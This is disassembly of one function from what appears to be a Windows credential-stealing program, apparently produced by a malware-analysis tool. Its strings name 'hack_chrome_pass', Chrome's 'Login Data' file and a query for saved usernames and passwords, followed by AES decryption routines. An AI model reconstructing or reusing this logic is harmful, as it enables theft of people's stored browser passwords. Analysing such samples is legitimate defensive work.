Function at 0x14001c188
Capabilities:
Encode data using base64

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
mov eax, 0x1d38
call fcn.14013dce0
sub rsp, rax
lea rbp, [rsp + 0x80]
movdqa xmmword [rbp + 0x1ca0], xmm15
movdqa xmmword [rbp + 0x1c90], xmm14
movdqa xmmword [rbp + 0x1c80], xmm13
movdqa xmmword [rbp + 0x1c70], xmm12
movdqa xmmword [rbp + 0x1c60], xmm11
movdqa xmmword [rbp + 0x1c50], xmm10
movdqa xmmword [rbp + 0x1c40], xmm9
movdqa xmmword [rbp + 0x1c30], xmm8
movdqa xmmword [rbp + 0x1c20], xmm7
movdqa xmmword [rbp + 0x1c10], xmm6
mov qword [rbp + 0x1c08], 0xfffffffffffffffe
mov qword [rbp + 0x1b68], r9
mov qword [rbp + 0x1b70], r8
mov qword [rbp + 0x1b50], rdx
mov qword [rbp + 0x18e8], rcx
lea rax, [rbp + 0x1030]
mov qword [rax], 2
pxor xmm0, xmm0
movdqu xmmword [rax + 8], xmm0
mov r8d, 0x200
push 2
pop rax
mov qword [rbp + 0x1bf8], rax
xor esi, esi
xor edi, edi
xor ebx, ebx
cmp r8, 0x201
jae 0x14001c26c
mov r14, rbp
mov r15d, 0x200
mov r12, r8
jmp 0x14001c2c3
sub r8, rbx
sub rdi, rbx
cmp rdi, r8
jae 0x14001c29b
lea rcx, [rbp + 0x1030]
mov rdx, rbx
call fcn.140141a40
mov rax, qword [rbp + 0x1030]
mov qword [rbp + 0x1bf8], rax
mov rsi, qword [rbp + 0x1038]
mov eax, 0xffffffff
cmp rsi, rax
mov ebx, 0xffffffff
cmovb rbx, rsi
mov qword [rbp + 0x1040], rbx
mov rdi, rsi
mov r14, qword [rbp + 0x1bf8]
mov r15, rbx
mov r12, rbx
xor ecx, ecx
call sub.KERNEL32.dll_SetLastError
mov rax, qword [0x140178048]
mov ecx, r12d
mov rdx, r14
call rax
mov r13d, eax
test eax, eax
jne 0x14001c2ea
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x14001c361
mov r8d, r13d
cmp r12, r8
jne 0x14001c318
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x14001e6f9
add r12, r12
mov eax, 0xffffffff
cmp r12, rax
cmovae r12, rax
mov r8, r12
jmp 0x14001c255
jb 0x14001c255
cmp r15, r8
jb 0x14001eb00
lea rcx, [rbp + 0x1410]
mov rdx, r14
call fcn.14004b660
mov r15, qword [rbp + 0x1410]
mov rax, qword [rbp + 0x1418]
mov qword [rbp + 0x1b78], rax
mov rax, qword [rbp + 0x1420]
mov qword [rbp + 0x1bd0], rax
mov bl, byte [rbp + 0x1428]
jmp 0x14001c374
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r15d, eax
shl r15, 0x20
or r15, 2
mov bl, 2
test rsi, rsi
je 0x14001c388
push 2
pop rdx
mov rcx, qword [rbp + 0x1bf8]
call fcn.140012720
cmp bl, 2
je 0x14001e92c
lea rax, str.hack_chrome_pass
mov qword [rbp + 0x1ba0], rax
mov qword [rbp + 0x1ba8], 0x10
mov rcx, r15
mov rdx, qword [rbp + 0x1bd0]
call fcn.14004b890
mov ebx, eax
test al, al
je 0x14001c3c8
mov qword [rbp + 0x1b40], r15
jmp 0x14001c434
mov rsi, rbp
mov rcx, rsi
call fcn.14004ab10
cmp byte [rsi + 0x18], 2
mov r14, qword [rsi]
jne 0x14001c3eb
mov qword [rbp + 0x1bf8], r14
mov sil, 3
jmp 0x14001c85c
mov rsi, qword [rbp + 8]
mov r8, qword [rbp + 0x10]
mov rax, qword [rbp + 0x1bd0]
mov qword [rsp + 0x20], rax
lea rdi, [rbp + 0x1030]
mov rcx, rdi
mov rdx, r14
mov r9, r15
call fcn.140056a50
mov rax, qword [rdi]
mov qword [rbp + 0x1b40], rax
mov rax, qword [rdi + 0x10]
mov qword [rbp + 0x1bd0], rax
mov rcx, r14
mov rdx, rsi
call fcn.140069293
xor ecx, ecx
call fcn.1400345bd
test rax, rax
je 0x14001eadb
mov byte [rbp + 0x1c07], bl
mov qword [rbp + 0x1b10], r15
mov r14, qword [rax]
inc qword [r14]
je 0x14001eafc
lea rsi, [r14 + 0x18]
lea r15, [rbp + 8]
pxor xmm6, xmm6
lea rdi, [0x140154f72]
mov r13, rbp
xor eax, eax
cmp eax, 0x80000000
je 0x14001c77d
inc eax
mov dword [rbp + 0x1b60], eax
mov qword [rbp + 0x1a20], 1
lea rax, [rbp + 0x1a28]
movdqu xmmword [rax], xmm6
lea rcx, [rbp + 0x1a20]
xor edx, edx
call fcn.1400685f4
push 0xc
pop rbx
dec rbx
mov rcx, qword [r14 + 0x10]
test rcx, rcx
jne 0x14001e643
or qword [r14 + 0x10], 0xffffffffffffffff
mov rax, qword [r14 + 0x1040]
cmp rax, qword [r14 + 0x1038]
jb 0x14001c502
mov rcx, r13
call fcn.1400340a4
cmp qword [rbp], 0
jne 0x14001e681
mov r8d, 0x1020
mov rcx, rsi
mov rdx, r15
call sub.VCRUNTIME140.dll_memcpy
and qword [r14 + 0x1040], 0
xor eax, eax
add rax, 8
mov qword [r14 + 0x1040], rax
mov rax, qword [r14 + 0x1018]
test rax, rax
jne 0x14001c528
mov rcx, rsi
call fcn.1400343f0
mov rax, qword [r14 + 0x1018]
dec rax
mov qword [r14 + 0x1018], rax
movzx eax, al
mov rax, qword [r14 + rax*8 + 0x18]
mov rcx, qword [r14 + 0x10]
inc rcx
mov qword [r14 + 0x10], rcx
cmp rax, 0xffffffffffffffef
ja 0x14001c4b6
xor edx, edx
push 0x3e
pop rcx
div rcx
mov r12b, byte [rdx + rdi]
test r12b, r12b
js 0x14001c59a
mov rdx, qword [rbp + 0x1a30]
cmp rdx, qword [rbp + 0x1a28]
jne 0x14001c583
lea rcx, [rbp + 0x1a20]
call fcn.14002ef7e
mov rdx, qword [rbp + 0x1a30]
mov rax, qword [rbp + 0x1a20]
mov byte [rax + rdx], r12b
inc rdx
mov qword [rbp + 0x1a30], rdx
jmp 0x14001c5c8
and dword [rbp], 0
mov eax, r12d
shr al, 6
or al, 0xc0
mov byte [rbp], al
and r12b, 0x3f
or r12b, 0x80
mov byte [rbp + 1], r12b
lea rcx, [rbp + 0x1a20]
mov rdx, r13
lea r8, [rbp + 2]
call fcn.1400685b1
test rbx, rbx
jne 0x14001c4af
mov rax, qword [rbp + 0x1a30]
mov qword [rbp + 0x1950], rax
movdqu xmm0, xmmword [rbp + 0x1a20]
movdqa xmmword [rbp + 0x1940], xmm0
mov rax, qword [rbp + 0x1ba8]
mov qword [rbp + 0x1bc0], rax
test rax, rax
je 0x14001c691
lea rax, [rbp + 0x1ba0]
mov qword [rbp + 0x1410], rax
lea rax, [fcn.14001fa80]
mov qword [rbp + 0x1418], rax
lea rax, [0x140155010]
mov qword [rbp], rax
push 2
pop rcx
mov qword [rbp + 8], rcx
and qword [rbp + 0x20], 0
lea rax, [rbp + 0x1940]
mov qword [rbp + 0x1420], rax
lea rax, [0x1400037a0]
mov qword [rbp + 0x1428], rax
lea rax, [rbp + 0x1410]
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], rcx
lea rcx, [rbp + 0x1a20]
mov rdx, r13
call fcn.140016560
mov r9, qword [rbp + 0x1a20]
mov rax, qword [rbp + 0x1a28]
mov qword [rbp + 0x1bf0], rax
mov rax, qword [rbp + 0x1a30]
jmp 0x14001c6ad
mov r9, qword [rbp + 0x1940]
mov rax, qword [rbp + 0x1948]
mov qword [rbp + 0x1bf0], rax
mov rax, qword [rbp + 0x1950]
mov qword [rsp + 0x20], rax
mov rcx, r13
mov rdx, qword [rbp + 0x1b40]
mov r8, qword [rbp + 0x1bd0]
mov r12, r9
call fcn.140056a50
mov rbx, qword [rbp]
mov r8, qword [rbp + 0x10]
xor ecx, ecx
mov rdx, rbx
call fcn.1400524e0
test rax, rax
je 0x14001c7c9
mov edx, eax
and edx, 3
lea rcx, [0x14001ecfc]
movsxd rdx, dword [rcx + rdx*4]
add rdx, rcx
mov qword [rbp + 0x1bf8], rax
jmp rdx
mov al, byte [rax + 0x10]
jmp 0x14001c726
mov rcx, rax
shr rcx, 0x20
call fcn.140048f90
jmp 0x14001c726
shr rax, 0x20
cmp eax, 0xc
je 0x14001c72e
jmp 0x14001c7f5
mov al, byte [rax + 0xf]
cmp al, 0xc
jne 0x14001c7f5
mov rdx, qword [rbp + 8]
mov rcx, rbx
call fcn.140069293
mov rcx, r12
mov rdx, qword [rbp + 0x1bf0]
call fcn.140069293
cmp qword [rbp + 0x1bc0], 0
je 0x14001c766
mov rcx, qword [rbp + 0x1940]
mov rdx, qword [rbp + 0x1948]
call fcn.140069293
mov rcx, qword [rbp + 0x1bf8]
call fcn.140068622
mov eax, dword [rbp + 0x1b60]
jmp 0x14001c475
lea rdx, str.too_many_temporary_directories_already_exist
push 0x2c
pop r8
mov cl, 0xc
call fcn.140033e93
mov qword [rbp + 0x1bf8], rax
mov rcx, r14
call fcn.140033e3a
cmp byte [rbp + 0x1c07], 0
jne 0x14001c7ba
mov rdx, qword [rbp + 0x1038]
mov rcx, qword [rbp + 0x1b40]
call fcn.140069293
mov sil, 3
mov r15, qword [rbp + 0x1b10]
jmp 0x14001c85c
movdqu xmm0, xmmword [r15]
movdqa xmmword [rbp + 0x1410], xmm0
mov sil, byte [rbp + 0x18]
mov eax, dword [rbp + 0x19]
mov dword [rbp + 0x1a20], eax
mov eax, dword [rbp + 0x1c]
mov dword [rbp + 0x1a23], eax
mov qword [rbp + 0x1bf8], rbx
jmp 0x14001c804
mov rdx, qword [rbp + 8]
mov rcx, rbx
call fcn.140069293
mov sil, 3
mov rdx, qword [rbp + 0x1bf0]
mov rcx, r12
call fcn.140069293
cmp qword [rbp + 0x1bc0], 0
mov r15, qword [rbp + 0x1b10]
mov bl, byte [rbp + 0x1c07]
je 0x14001c83d
mov rcx, qword [rbp + 0x1940]
mov rdx, qword [rbp + 0x1948]
call fcn.140069293
mov rcx, r14
call fcn.140033e3a
test bl, bl
jne 0x14001c85c
mov rdx, qword [rbp + 0x1038]
mov rcx, qword [rbp + 0x1b40]
call fcn.140069293
mov rdx, qword [rbp + 0x1b78]
mov rcx, r15
call fcn.140069293
cmp sil, 3
je 0x14001e959
mov rdx, qword [rbp + 0x1bf8]
mov qword [rbp + 0x1910], rdx
movdqa xmm0, xmmword [rbp + 0x1410]
movdqu xmmword [rbp + 0x1918], xmm0
mov byte [rbp + 0x1928], sil
mov eax, dword [rbp + 0x1a20]
mov ecx, dword [rbp + 0x1a23]
mov dword [rbp + 0x1929], eax
mov dword [rbp + 0x192c], ecx
cmp sil, 2
je 0x14001e96f
mov r8, qword [rbp + 0x1920]
mov qword [rsp + 0x20], 0xa
lea r9, str.Login_Data
lea rdi, [rbp + 0x13f0]
mov rcx, rdi
call fcn.140056a50
mov rax, qword [rbp + 0x1b50]
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
mov rsi, qword [rdi]
mov r15, qword [rdi + 0x10]
mov qword [rsp + 0x20], r15
mov rdi, rbp
mov rcx, rdi
mov r9, rsi
call fcn.14001a3a3
cmp qword [rdi], 0
jne 0x14001e987
mov r14, qword [rbp + 0x13f8]
mov rbx, rbp
mov rcx, rbx
mov rdx, rsi
mov r8, r15
call fcn.14003a5f9
mov r12b, byte [rbx]
cmp r12b, 0x13
jne 0x14001ca65
mov qword [rbp + 0x1bf8], r14
mov r14, qword [rbp + 8]
mov rbx, qword [rbp + 0x10]
lea r12, [rbp + 0x1410]
mov rcx, r12
mov rdx, r14
mov r8, rbx
call fcn.140039ef4
mov r12b, byte [r12]
cmp r12b, 0x13
jne 0x14001caa5
mov rax, qword [rbp + 0x1428]
lea r12, [rbp + 0x60]
mov qword [r12 - 8], rax
movups xmm0, xmmword [rbp + 0x1418]
movups xmmword [r12 - 0x18], xmm0
movups xmm0, xmmword [0x1401477b8]
movups xmm1, xmmword [0x1401477a8]
pxor xmm2, xmm2
movups xmmword [r12 - 0x58], xmm1
movups xmmword [r12 - 0x48], xmm0
movdqu xmmword [r12 - 0x38], xmm2
mov rcx, r12
mov rdx, rsi
mov r8, r15
call fcn.1400672e0
and qword [r12 - 0x20], 0
and qword [r12 - 0x60], 0
push 0x10
pop rax
mov qword [r12 - 0x28], rax
mov ecx, dword [r12 - 0x5f]
mov edx, dword [r12 - 0x5c]
mov dword [rbp + 0x1888], ecx
mov dword [rbp + 0x188b], edx
mov r15, qword [r12 - 0x58]
mov r13, qword [r12 - 0x50]
mov qword [rbp + 0x1a40], rax
movups xmm0, xmmword [r12 - 0x48]
movaps xmmword [rbp + 0x1a20], xmm0
movups xmm0, xmmword [r12 - 0x38]
movaps xmmword [rbp + 0x1a30], xmm0
movups xmm0, xmmword [r12 - 0x10]
movaps xmmword [rbp + 0x1040], xmm0
movups xmm0, xmmword [r12]
movaps xmmword [rbp + 0x1050], xmm0
mov rax, qword [r12 + 0x10]
mov qword [rbp + 0x1060], rax
movups xmm0, xmmword [r12 - 0x20]
movaps xmmword [rbp + 0x1030], xmm0
mov dil, byte [r12 + 0x18]
mov eax, dword [r12 + 0x1c]
mov dword [rbp + 0x1ba3], eax
mov eax, dword [r12 + 0x19]
mov dword [rbp + 0x1ba0], eax
xor r12d, r12d
jmp 0x14001caf8
mov eax, dword [rbp + 1]
mov ecx, dword [rbp + 4]
mov dword [rbp + 0x188b], ecx
mov dword [rbp + 0x1888], eax
mov r15, qword [rbp + 8]
mov r13, qword [rbp + 0x10]
movups xmm0, xmmword [rbp + 0x18]
movaps xmmword [rbp + 0x1a20], xmm0
movups xmm0, xmmword [rbp + 0x28]
movaps xmmword [rbp + 0x1a30], xmm0
mov rax, qword [rbp + 0x38]
mov qword [rbp + 0x1a40], rax
mov dil, 3
jmp 0x14001cb11
mov eax, dword [rbp + 0x1411]
mov ecx, dword [rbp + 0x1414]
mov dword [rbp + 0x188b], ecx
mov dword [rbp + 0x1888], eax
mov r15, qword [rbp + 0x1418]
mov r13, qword [rbp + 0x1420]
movups xmm0, xmmword [rbp + 0x1428]
movaps xmmword [rbp + 0x1a20], xmm0
movups xmm0, xmmword [rbp + 0x1438]
movaps xmmword [rbp + 0x1a30], xmm0
mov rax, qword [rbp + 0x1448]
mov qword [rbp + 0x1a40], rax
mov dil, 3
mov byte [r14], 0
push 1
pop rdx
mov rcx, r14
mov r8, rbx
call fcn.1400037b2
mov r14, qword [rbp + 0x1bf8]
mov rcx, rsi
mov rdx, r14
call fcn.140069293
cmp dil, 3
je 0x14001e9b4
mov byte [rbp + 0x1940], r12b
mov eax, dword [rbp + 0x1888]
mov ecx, dword [rbp + 0x188b]
mov dword [rbp + 0x1941], eax
mov dword [rbp + 0x1944], ecx
mov qword [rbp + 0x1948], r15
mov qword [rbp + 0x1950], r13
movaps xmm0, xmmword [rbp + 0x1a20]
movaps xmm1, xmmword [rbp + 0x1a30]
movups xmmword [rbp + 0x1958], xmm0
movups xmmword [rbp + 0x1968], xmm1
mov rax, qword [rbp + 0x1a40]
mov qword [rbp + 0x1978], rax
movdqa xmm0, xmmword [rbp + 0x1030]
movdqa xmm1, xmmword [rbp + 0x1040]
movdqa xmm2, xmmword [rbp + 0x1050]
movdqu xmmword [rbp + 0x1980], xmm0
movdqu xmmword [rbp + 0x1990], xmm1
movdqu xmmword [rbp + 0x19a0], xmm2
mov rax, qword [rbp + 0x1060]
mov qword [rbp + 0x19b0], rax
mov byte [rbp + 0x19b8], dil
mov eax, dword [rbp + 0x1ba0]
mov ecx, dword [rbp + 0x1ba3]
mov dword [rbp + 0x19b9], eax
mov dword [rbp + 0x19bc], ecx
cmp qword [rbp + 0x1980], 0
jne 0x14001ea09
lea rsi, [rbp + 0x1940]
or qword [rsi + 0x40], 0xffffffffffffffff
mov rdx, qword [rsi + 0x50]
mov qword [rsp + 0x20], 0x3d
lea r9, str.SELECT_action_url__username_value__password_value_FROM_logins
mov rdi, rbp
mov rcx, rdi
mov r8, rsi
call fcn.14003985d
inc qword [rsi + 0x40]
cmp qword [rdi], 0
je 0x14001ea12
push 9
pop rcx
lea r15, [rbp + 0x1888]
mov rsi, rbp
mov rdi, r15
mov r13, rsi
rep movsq qword [rdi], qword [rsi]
mov qword [rbp + 0x1b18], 8
pxor xmm7, xmm7
movdqu xmmword [rbp + 0x1b20], xmm7
mov rcx, qword [r15 + 0x38]
call fcn.1400724e0
test eax, eax
jne 0x14001ea4e
lea rax, [rbp + 0x1900]
mov rcx, qword [rbp + 0x1b70]
mov qword [rax - 0x10], rcx
mov rcx, qword [rbp + 0x1b68]
mov qword [rax - 8], rcx
mov qword [rax], r15
and qword [rax + 8], 0
lea r14, [rbp + 0x1410]
push 2
pop rax
mov qword [rbp + 0x1b70], rax
movabs r12, 0xf00ff00f00000
movabs rbx, 0xf0f00000f0f0000
test r15, r15
je 0x14001e093
mov rcx, qword [r15 + 0x38]
call fcn.1400726f4
cmp eax, 0x64
jne 0x14001e07e
mov qword [rbp + 0x1908], r15
mov rcx, r13
mov rdx, r15
xor r8d, r8d
call fcn.14001a538
lea rcx, [rbp + 0x18d0]
mov rdx, r13
lea r8, str.srclib.rs
call fcn.14001a660
mov rcx, r13
mov rdx, r15
push 1
pop r8
call fcn.14001a538
lea rcx, [rbp + 0x17d8]
mov rdx, r13
lea r8, str.srclib.rs
call fcn.14001a660
mov rcx, r14
mov rdx, r15
push 2
pop r8
call fcn.14001a6c2
cmp byte [rbp + 0x1410], 0x13
jne 0x14001e714
mov rdx, qword [rbp + 0x1418]
mov rcx, qword [rbp + 0x1420]
mov r8, qword [rbp + 0x1428]
mov rdi, qword [rbp + 0x18f0]
mov rax, qword [rbp + 0x18f8]
mov qword [rbp + 0x1410], rax
cmp rax, 0x20
lea r15, [rbp + 0x1b80]
jne 0x14001e794
mov al, byte [section..data]
cmp al, 0xff
mov qword [rbp + 0x1bf8], rdx
mov qword [rbp + 0x1bf0], r8
mov qword [rbp + 0x1b60], rcx
je 0x14001d2c0
cmp al, 1
jne 0x14001d306
movdqu xmm6, xmmword [rdi]
movdqu xmm7, xmmword [rdi + 0x10]
movdqa xmmword [rbp + 0x1860], xmm7
lea rsi, [rbp + 0x1a20]
mov rcx, rsi
lea rdx, [rbp + 0x1860]
call fcn.1400141f2
pshufd xmm0, xmmword [rbp + 0x1a20], 0xff
movdqa xmmword [rbp + 0x1bc0], xmm6
movdqa xmm1, xmm6
pslldq xmm1, 4
movdqa xmm2, xmm6
pslldq xmm2, 8
pxor xmm2, xmm0
movdqa xmm0, xmm6
pslldq xmm0, 0xc
pxor xmm0, xmm1
pxor xmm0, xmm2
pxor xmm0, xmm6
movdqa xmmword [rbp + 0x1850], xmm0
movdqa xmm6, xmm0
mov rcx, rsi
lea rdx, [rbp + 0x1850]
call fcn.1400141fd
pshufd xmm0, xmmword [rbp + 0x1a20], 0xaa
movdqa xmmword [rbp + 0x1bd0], xmm7
movdqa xmm1, xmm7
pslldq xmm1, 4
movdqa xmm2, xmm7
pslldq xmm2, 8
pxor xmm2, xmm0
movdqa xmm0, xmm7
pslldq xmm0, 0xc
pxor xmm0, xmm1
pxor xmm0, xmm2
pxor xmm0, xmm7
movdqa xmmword [rbp + 0x1840], xmm0
movdqa xmm8, xmm0
mov rcx, rsi
lea rdx, [rbp + 0x1840]
call fcn.140014208
pshufd xmm0, xmmword [rbp + 0x1a20], 0xff
movdqa xmmword [rbp + 0x1b40], xmm6
movdqa xmm1, xmm6
pslldq xmm1, 4
movdqa xmm2, xmm6
pslldq xmm2, 8
pxor xmm2, xmm0
movdqa xmm7, xmm6
pslldq xmm7, 0xc
pxor xmm7, xmm1
pxor xmm7, xmm2
pxor xmm7, xmm6
movdqa xmmword [rbp + 0x1830], xmm7
mov rcx, rsi
lea rdx, [rbp + 0x1830]
call fcn.1400141fd
pshufd xmm0, xmmword [rbp + 0x1a20], 0xaa
movdqa xmmword [rbp + 0x1b50], xmm8
movdqa xmm1, xmm8
pslldq xmm1, 4
movdqa xmm2, xmm8
pslldq xmm2, 8
pxor xmm2, xmm0
movdqa xmm6, xmm8
pslldq xmm6, 0xc
pxor xmm6, xmm1
pxor xmm6, xmm2
pxor xmm6, xmm8
movdqa xmmword [rbp + 0x1820], xmm6
mov rcx, rsi
lea rdx, [rbp + 0x1820]
call fcn.140014213
pshufd xmm0, xmmword [rbp + 0x1a20], 0xff
movdqa xmm1, xmm7
pslldq xmm1, 4
movdqa xmm2, xmm7
pslldq xmm2, 8
pxor xmm2, xmm0
movdqa xmm9, xmm7
pslldq xmm9, 0xc
pxor xmm9, xmm1
pxor xmm9, xmm2
pxor xmm9, xmm7
movdqa xmmword [rbp + 0x1810], xmm9
mov rcx, rsi
lea rdx, [rbp + 0x1810]
call fcn.1400141fd
pshufd xmm0, xmmword [rbp + 0x1a20], 0xaa
movdqa xmm1, xmm6
pslldq xmm1, 4
movdqa xmm2, xmm6
pslldq xmm2, 8
pxor xmm2, xmm0
movdqa xmm8, xmm6
pslldq xmm8, 0xc
pxor xmm8, xmm1
pxor xmm8, xmm2
pxor xmm8, xmm6
movdqa xmmword [rbp + 0x1800], xmm8
mov rcx, rsi
lea rdx, [rbp + 0x1800]
call fcn.14001421e
pshufd xmm0, xmmword [rbp + 0x1a20], 0xff
movdqa xmm1, xmm9
pslldq xmm1, 4
movdqa xmm2, xmm9
pslldq xmm2, 8
pxor xmm2, xmm0
movdqa xmm11, xmm9
pslldq xmm11, 0xc
pxor xmm11, xmm1
pxor xmm11, xmm2
pxor xmm11, xmm9
movdqa xmmword [rbp + 0x17f0], xmm11
mov rcx, rsi
lea rdx, [rbp + 0x17f0]
call fcn.1400141fd
pshufd xmm0, xmmword [rbp + 0x1a20], 0xaa
movdqa xmm1, xmm8
pslldq xmm1, 4
movdqa xmm2, xmm8
pslldq xmm2, 8
pxor xmm2, xmm0
movdqa xmm10, xmm8
pslldq xmm10, 0xc
pxor xmm10, xmm1
pxor xmm10, xmm2
pxor xmm10, xmm8
movdqa xmmword [rbp + 0x1b80], xmm10
mov rcx, rsi
mov rdx, r15
call fcn.140014229
pshufd xmm0, xmmword [rbp + 0x1a20], 0xff
movdqa xmm1, xmm11
pslldq xmm1, 4
movdqa xmm2, xmm11
pslldq xmm2, 8
pxor xmm2, xmm0
movdqa xmm13, xmm11
pslldq xmm13, 0xc
pxor xmm13, xmm1
pxor xmm13, xmm2
pxor xmm13, xmm11
movdqa xmmword [rbp + 0x1b30], xmm13
mov rcx, rsi
lea rdx, [rbp + 0x1b30]
call fcn.1400141fd
pshufd xmm0, xmmword [rbp + 0x1a20], 0xaa
movdqa xmm1, xmm10
pslldq xmm1, 4
movdqa xmm2, xmm10
pslldq xmm2, 8
pxor xmm2, xmm0
movdqa xmm12, xmm10
pslldq xmm12, 0xc
pxor xmm12, xmm1
pxor xmm12, xmm2
pxor xmm12, xmm10
movdqa xmmword [rbp + 0x1930], xmm12
mov rcx, rsi
lea rdx, [rbp + 0x1930]
call fcn.140014234
pshufd xmm0, xmmword [rbp + 0x1a20], 0xff
movdqa xmm1, xmm13
pslldq xmm1, 4
movdqa xmm2, xmm13
pslldq xmm2, 8
pxor xmm2, xmm0
movdqa xmm15, xmm13
pslldq xmm15, 0xc
pxor xmm15, xmm1
pxor xmm15, xmm2
pxor xmm15, xmm13
movdqa xmmword [rbp + 0x1a00], xmm15
mov rcx, rsi
lea r15, [rbp + 0x1a00]
mov rdx, r15
call fcn.1400141fd
pshufd xmm0, xmmword [rbp + 0x1a20], 0xaa
movdqa xmm1, xmm12
pslldq xmm1, 4
movdqa xmm2, xmm12
pslldq xmm2, 8
pxor xmm2, xmm0
movdqa xmm14, xmm12
pslldq xmm14, 0xc
pxor xmm14, xmm1
pxor xmm14, xmm2
pxor xmm14, xmm12
movdqa xmmword [rbp + 0x1a20], xmm14
lea rcx, [rbp + 0x1ba0]
mov rdx, rsi
call fcn.14001423f
pshufd xmm0, xmmword [rbp + 0x1ba0], 0xff
movdqa xmm1, xmm15
pslldq xmm1, 8
pxor xmm1, xmm0
movdqa xmm0, xmm15
pslldq xmm0, 4
movdqa xmm2, xmm15
pslldq xmm2, 0xc
pxor xmm2, xmm0
pxor xmm2, xmm1
movaps xmm0, xmmword [rbp + 0x1bc0]
movaps xmmword [rbp + 0x1a20], xmm0
movaps xmm0, xmmword [rbp + 0x1bd0]
movaps xmmword [rbp + 0x1a30], xmm0
movaps xmm0, xmmword [rbp + 0x1b40]
movaps xmmword [rbp + 0x1a40], xmm0
movdqa xmm0, xmmword [rbp + 0x1b50]
movdqa xmmword [rbp + 0x1a50], xmm0
movdqa xmmword [rbp + 0x1a60], xmm7
pxor xmm7, xmm7
movdqa xmmword [rbp + 0x1a70], xmm6
movdqa xmmword [rbp + 0x1a80], xmm9
movdqa xmmword [rbp + 0x1a90], xmm8
movdqa xmmword [rbp + 0x1aa0], xmm11
movdqa xmmword [rbp + 0x1ab0], xmm10
movdqa xmmword [rbp + 0x1ac0], xmm13
movdqa xmmword [rbp + 0x1ad0], xmm12
pxor xmm2, xmm15
movdqa xmmword [rbp + 0x1ae0], xmm15
movdqa xmmword [rbp + 0x1af0], xmm14
movdqa xmmword [rbp + 0x1b00], xmm2
lea rcx, [rbp + 0x1500]
mov rdx, rsi
call fcn.14001a83d
mov r8d, 0xf0
mov rcx, r14
mov rdx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov r8d, 0x1e0
lea rdi, [rbp + 0x1030]
mov rcx, rdi
mov rdx, r14
call sub.VCRUNTIME140.dll_memcpy
jmp 0x14001d63e
lea rcx, [rbp + 0x1030]
call fcn.1400141ae
mov rcx, r14
call fcn.1400141d0
mov esi, dword [rbp + 0x1038]
mov eax, esi
not eax
test eax, 0xc000000
jne 0x14001d2f1
call fcn.14001a830
and eax, 2
shr eax, 1
jmp 0x14001d2f3
xor eax, eax
shr esi, 0x19
and sil, al
mov byte [section..data], sil
jne 0x14001cd99
mov r8d, 0x3c0
mov rcx, r14
xor edx, edx
call sub.VCRUNTIME140.dll_memset
push 0x10
pop rsi
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rdi
mov rcx, r14
push 8
pop r15
mov rdx, r15
mov r8, rdi
mov r9, rsi
call fcn.140012879
add rdi, rsi
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rdi
lea rcx, [rbp + 0x1450]
mov rdx, r15
mov r8, rdi
mov r9, rsi
call fcn.140012879
xor edi, edi
mov rcx, r14
mov rdx, r15
call fcn.140012cbe
lea r13, [r15 + 8]
add r15, 0x10
mov rcx, r14
mov rdx, r13
mov r8, r15
lea r9, [0x140144c40]
call fcn.140013306
mov rcx, rax
call fcn.140012d22
mov rcx, r14
mov rdx, r13
mov r8, r15
lea r9, [0x140144c58]
call fcn.140013306
mov rcx, rax
call fcn.1400130c3
mov rcx, r14
mov rdx, r13
mov r8, r15
lea r9, [0x140144c70]
call fcn.140013306
cmp rdi, rdx
jae 0x14001e3f7
xor byte [rax + rdi*8 + 3], 0xf0
mov rcx, r14
mov rdx, r13
push 0x1c
pop r8
call fcn.140013138
cmp rdi, 6
je 0x14001d46d
mov rcx, r14
mov rdx, r13
call fcn.140012cbe
lea r15, [r13 + 8]
add r13, 0x10
mov rcx, r14
mov rdx, r15
mov r8, r13
lea r9, [0x140144c88]
call fcn.140013306
mov rcx, rax
call fcn.140012d22
mov rcx, r14
mov rdx, r15
mov r8, r13
lea r9, [0x140144ca0]
call fcn.140013306
mov rcx, rax
call fcn.1400130c3
mov rcx, r14
mov rdx, r15
push 0xc
pop r8
call fcn.140013138
inc rdi
jmp 0x14001d384
xor eax, eax
push 8
pop rdi
test al, 1
je 0x14001d498
add rdi, 0x1f
setb al
cmp rdi, 0x68
setae cl
or cl, al
lea r15, [rdi + 1]
push 0x68
pop rax
cmovne r15, rax
je 0x14001d4a6
jmp 0x14001d5a2
cmp rdi, 0x67
ja 0x14001d5a2
lea r15, [rdi + 1]
lea rsi, [rdi + 8]
mov rcx, r14
mov rdx, rdi
mov r8, rsi
lea r9, [0x140144cb8]
call fcn.140013306
shl rdx, 3
xor ecx, ecx
cmp rdx, rcx
je 0x14001d506
mov r8, qword [rax + rcx]
mov r9, r8
shr r9, 8
xor r9, r8
and r9, r12
xor r8, r9
shl r9, 8
xor r9, r8
mov r8, r9
shr r8, 4
xor r8, r9
and r8, rbx
xor r9, r8
shl r8, 4
xor r8, r9
mov qword [rax + rcx], r8
add rcx, 8
jmp 0x14001d4c5
lea r13, [rdi + 0x10]
mov rcx, r14
mov rdx, rsi
mov r8, r13
lea r9, [0x140144cd0]
call fcn.140013306
mov rcx, rax
call fcn.1400131fb
add rdi, 0x18
mov rcx, r14
mov rdx, r13
mov r8, rdi
lea r9, [0x140144ce8]
call fcn.140013306
shl rdx, 3
xor ecx, ecx
movabs r10, 0xf000ff000f0000
cmp rdx, rcx
je 0x14001d591
mov r8, qword [rax + rcx]
mov r9, r8
shr r9, 8
xor r9, r8
and r9, r10
xor r8, r9
shl r9, 8
xor r9, r8
mov r8, r9
shr r8, 4
xor r8, r9
and r8, rbx
xor r9, r8
shl r8, 4
xor r8, r9
mov qword [rax + rcx], r8
add rcx, 8
jmp 0x14001d550
mov al, 1
mov rdi, r15
lea r14, [rbp + 0x1410]
jmp 0x14001d472
push 0x68
pop rax
push 0x10
pop rsi
lea rdi, [rbp + 0x1030]
lea r15, [0x140144d00]
cmp rax, 0x70
je 0x14001d61d
